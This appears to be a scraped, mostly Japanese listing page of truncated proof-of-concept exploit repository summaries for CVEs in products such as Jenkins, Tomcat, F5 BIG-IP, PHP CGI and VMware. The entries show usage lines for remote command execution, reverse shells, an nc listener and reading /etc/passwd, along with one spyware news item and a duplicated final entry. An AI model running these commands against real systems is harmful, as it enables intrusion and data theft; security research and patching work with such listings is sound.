CVE-2023-42793

CVE-2023-42793 - 管理者ユーザー名の作成 コマンド実行例: root@kitploit: python3 exploit.py -u http://localhost User add token - eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1 Successful execution, preparing for the RCE Command - whoami StdOut:tcuser StdErr...

CVE-2024-4577

CVE-2024-4577 root@kitploit: usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments:...

kata-cve-2020-2023-poc

kata-cve-2020-2023-poc 1. 再現環境 注: 環境は KVM のサポートが必要です。 https://github.com/ssst0n3/dockerarchive/tree/branchubuntu-20.04docker-ce-19.03.11containerd.io-1.4.9kata-1.11.0 root@kitploit: $ git clone https://github.com/ssst0n3/dockerarchive.git $ cd dockerarchive $ git checkout...

CVE-2018-1000861

CVE-2018-1000861 CVE-2018-1000861を悪用するシンプルなスクリプト（Python 3で記述） 使い方: root@kitploit: usage: exploit.py -h -u URL -c CMD -r -i IP -p PORT -v options: -h, --help show this help message and exit -u URL, --url URL Target Jenkins server -c CMD, --cmd CMD Command to execute -r, --revshell Execute reverse...

test_struts2_vulnerability_CVE-2017-5638

teststruts2vulnerabilityCVE-2017-5638inMACOSX Mac OS X 上で Struts2 の脆弱性 CVE-2017-5638 をテストする テスト用 Web アプリをダウンロードして Tomcat で実行する root@kitploit: install tomcat brew install tomcat confirm where the tomcat installed ls -lF which catalina confirm tomcat home dir ls -lF...

CVE-2025-55182

React2Shell Ultimate Scanner CVE-2025-55182 向けプロフェッショナル Next.js RSC RCE 脆弱性スキャナー 🎯 概要 React2Shell Ultimate は、CVE-2025-55182 向けの包括的な脆弱性スキャナーです。この脆弱性は、React Server Components RSC を使用する Next.js アプリケーションに影響を与えるクリティカルなリモートコード実行 RCE 脆弱性です。 TEMPLATE poc 🚀 クイックスタート root@kitploit: Execute command...

Corp MDM Spyware Targets Logistics Firms, Steals New SMS and Redirects Calls

The logistics sector has become the target of a new malicious cyber campaign that distributes an Android spyware codenamed Corp MDM. According to Have I Been Squatted, the campaign uses fake Google Play pages branded as CEVA and TKW Logistics to distribute an Android Package Kit APK file that's...

exploit-CVE-2014-6271

exploit-CVE-2014-6271 docker run --rm -d -p :80 vulnerables/cve-2014-6271 sh exploit-cli.sh...

pythonprojects-CVE-2018-10933

pythonprojects-CVE-2018-10933 CVE-2018-10933 このスクリプトはCVE-2018-10933の脆弱性を悪用します（Linuxで動作します） このスクリプトを実行するには、paramiko Pythonモジュールが必要です。 以下のコマンドでparamikoをインストールしてください。 pip install paramiko paramikoがインストールされたら、スクリプトは以下のように実行できます： python CVE-2018-10933.py Target IP/Hostname Target Port Command...

CVE-2018-1002105

CMPT733-Group110x90 CVE-2018-1002105 メンバー : Abhishek Rungta, Shubham Saini, Siddhant Sood 環境セットアップ Linux VM（例: Ubuntu 20.04） Kubernetesのローカルデプロイメント用のMinikube 以下のいずれかの旧バージョン（1.0.x— 1.9.x, 1.10.0—1.10.10, 1.11.0—1.11.4, 1.12.0—1.12.2） エクスプロイトの実行 仮想ボックスイメージ（.ovaファイル）を用意しました。 それをダウンロードして、VMを作成してください。...

CVE-2023-24488

CVE-2023-24488 CVE-2023-24488 向け POC Citrix Gateway オープンリダイレクトとXSS CVE-2023-24488 URLクエリパラメータは、HTTP Locationヘッダーに配置される前に適切にサニタイズされません。攻撃者はこれを悪用して、クリックされると被害者を任意の場所にリダイレクトするリンクを作成できます。別の方法として、攻撃者はLocationヘッダーに改行文字を注入し、HTTPヘッダーを早期に終了させ、XSSペイロードを応答本文に注入することもできます。 インストール要件 root@kitploit: pip3 install...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 エクスプロイト OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI を介した RCE。 CVE-2022-22954 - PoC SSTI 使用方法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file...

CVE-2025-24813-PoC-exploit

CVE-2025-24813-PoC-exploit Apache Tomcat デシリアライゼーション RCE root@kitploit: ❯ python3 exploit.py http://localhost:8080/ "id" ============================================================ CVE-2025-24813 - Apache Tomcat Partial PUT RCE ============================================================ Target:...

F5-BIG-IP-exploit

F5-BIG-IP エクスプロイト CVE-2022-1388 usage: CVE-2022-1388.py -h -u URL -c COMMAND -f FILE CVE-2022-1388 F5 BIG-IP iControl REST 認証バイパス RCE 例: root@kitploit: python3 CVE-2022-1388.py -u https://127.0.0.1 python3 CVE-2022-1388.py -u https://127.0.0.1 -c 'cat /etc/passwd' python3 CVE-2022-1388.py -f...

CVE-2025-55182-Simple-Scanner

CVE-2025-55182: React Server Components RCE スキャナー React Server Components を使用する Next.js アプリケーションにおける重大なリモートコード実行 RCE の脆弱性 CVE-2025-55182 を検出および悪用するための包括的なツールキットです。 このリポジトリには、統合 Bash スキャナー 単一 & 大量モード、Python/Go 実装、およびバグバウンティ偵察ワークフローが含まれています。 📂 リポジトリ構成 scanner.sh — 単一ターゲットおよび大量スキャン用のオールインワン Bash スクリ...

CVE-2025-13834-A-Bluetooth-RFCOMM-Out-of-Bounds-Read-Vulnerability-in-Modern-Wireless-Devices

= doi.org/10.5281/zenodo.18323302 = orcid.org/0009-0007-7728-256X README.md: CVE-2025-13834 RFCOMM Bluetooth「Heartbleed」エクスプロイテーションフレームワーク 著者: Sastra Adi Wiguna Purple Elite Teaming 日付: 2026年1月20日 バージョン: 1.0（完全なシステム再現） ライセンス: レッドチーム専用 （許可なく配布禁止） 🔴 エグゼクティブサマリー CVE-2025-13834 は、RFCOMM...

unrealircd3.2.8.1-local-exploit

Metasploitable 3 でテスト済み 使用方法 Ruby 攻撃側のシェルで root@kitploit: nc -nlvp 1111 被害側のシェルで root@kitploit: ruby exploit.rb 127.0.0.1 攻撃側のシェルでの期待される出力 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 被害側のシェルで root@kitploit: python3 exploit.p...

CVE-2026-96515 Command Injection Vulnerability in Netlink ICT HG323RW Router

This vulnerability exists in the Netlink ICT HG323RW router due to insufficient authorization and input validation controls in the diagnostic script import functionality. An authenticated attacker could exploit this vulnerability by uploading and executing a specially crafted script through the w...

CVE-2026-96515 Command Injection Vulnerability in Netlink ICT HG323RW Router

This vulnerability exists in the Netlink ICT HG323RW router due to insufficient authorization and input validation controls in the diagnostic script import functionality. An authenticated attacker could exploit this vulnerability by uploading and executing a specially crafted script through the w...